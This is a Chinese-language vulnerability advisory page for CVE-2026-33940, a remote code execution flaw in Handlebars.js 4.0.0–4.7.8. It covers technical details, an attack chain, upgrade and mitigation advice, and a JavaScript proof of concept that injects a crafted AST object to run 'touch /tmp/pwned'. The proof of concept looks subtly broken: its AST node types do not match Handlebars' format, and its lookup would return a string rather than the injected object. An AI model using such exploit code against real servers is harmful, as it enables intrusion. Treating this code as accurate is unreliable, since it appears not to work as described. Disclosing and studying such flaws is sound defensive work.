IPBUF安全漏洞报告
English
CVE-2026-33940 CVSS 8.1 高危

CVE-2026-33940 Handlebars模板引擎远程代码执行漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33940
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Handlebars.js

相关标签

RCEHandlebarsAST注入模板注入CVE-2026-33940

漏洞概述

Handlebars 4.0.0至4.7.8版本存在严重安全漏洞。攻击者通过在模板上下文中注入精心设计的对象,可绕过`resolvePartial()`的守卫机制,导致未解析的部分被传递给编译器。这会触发服务器端执行任意JavaScript代码,造成远程代码执行风险。

技术细节

该漏洞源于Handlebars在处理动态部分查找时的逻辑缺陷。当`resolvePartial()`无法解析部分名称时,`invokePartial()`会尝试将返回值传递给`env.compile()`进行编译。攻击者若能控制动态查找的返回值(如使用`{{> (lookup ...)}}`),可传入一个符合Handlebars AST结构的恶意对象。由于该对象被视为有效的模板源代码,编译并运行后,嵌入在AST中的恶意代码将在服务器端被执行,从而实现无需认证的远程代码攻击。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序使用了易受攻击版本的Handlebars(4.0.0至4.7.8),并确定了存在用户可控输入且使用了动态部分查找(如lookup helper)的模板渲染点。
STEP 2
武器化
攻击者构造一个恶意的JavaScript对象,该对象结构符合Handlebars抽象语法树(AST),其中包含旨在执行任意系统命令的恶意代码。
STEP 3
投递
攻击者将包含恶意AST对象的Payload发送给目标服务器,并将其注入到模板渲染的上下文数据中。
STEP 4
利用
当Handlebars渲染包含动态部分查找(例如`{{> (lookup ...)}}`)的模板时,`resolvePartial`返回攻击者注入的恶意对象。由于它未被识别为已编译的模板,`invokePartial`将其传递给`env.compile()`。
STEP 5
执行
Handlebars编译器将恶意AST对象视为源代码进行编译并执行,导致服务器端运行攻击者指定的任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const Handlebars = require('handlebars'); // 1. Create a malicious AST object representing arbitrary code execution // This object mimics the structure of a compiled Handlebars template const maliciousAST = { type: 'Program', body: [ { type: 'MustacheStatement', path: { type: 'Identifier', name: 'exec' }, params: [ { type: 'StringLiteral', value: 'touch /tmp/pwned', // Arbitrary command to execute original: 'touch /tmp/pwned' } ], loc: {} } ], loc: {} }; // 2. Prepare the context with the malicious object // The attacker controls the value returned by the dynamic partial lookup const context = { lookupKey: 'payload', payload: maliciousAST // Injecting the malicious AST }; // 3. Compile a template that uses dynamic partial lookup // {{> (lookup ...) }} retrieves the value from context and treats it as a partial const templateSrc = '{{> (lookup . "lookupKey")}}'; const template = Handlebars.compile(templateSrc); // 4. Render the template // This triggers the vulnerability: invokePartial calls env.compile(maliciousAST) // resulting in the execution of the command specified in the AST. console.log('Executing PoC...'); try { template(context); console.log('PoC executed successfully. Check /tmp/pwned'); } catch (e) { console.error('Error:', e); }

影响范围

Handlebars >= 4.0.0, <= 4.7.8

防御指南

临时缓解措施
建议立即升级至Handlebars 4.7.9版本。若暂时无法升级,请使用仅运行时构建以禁用编译功能,或者在渲染前严格过滤上下文数据,确保传递给动态部分查找的值不包含复杂的对象结构,并尽可能避免使用`{{> (lookup ...)}}`语法处理用户输入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表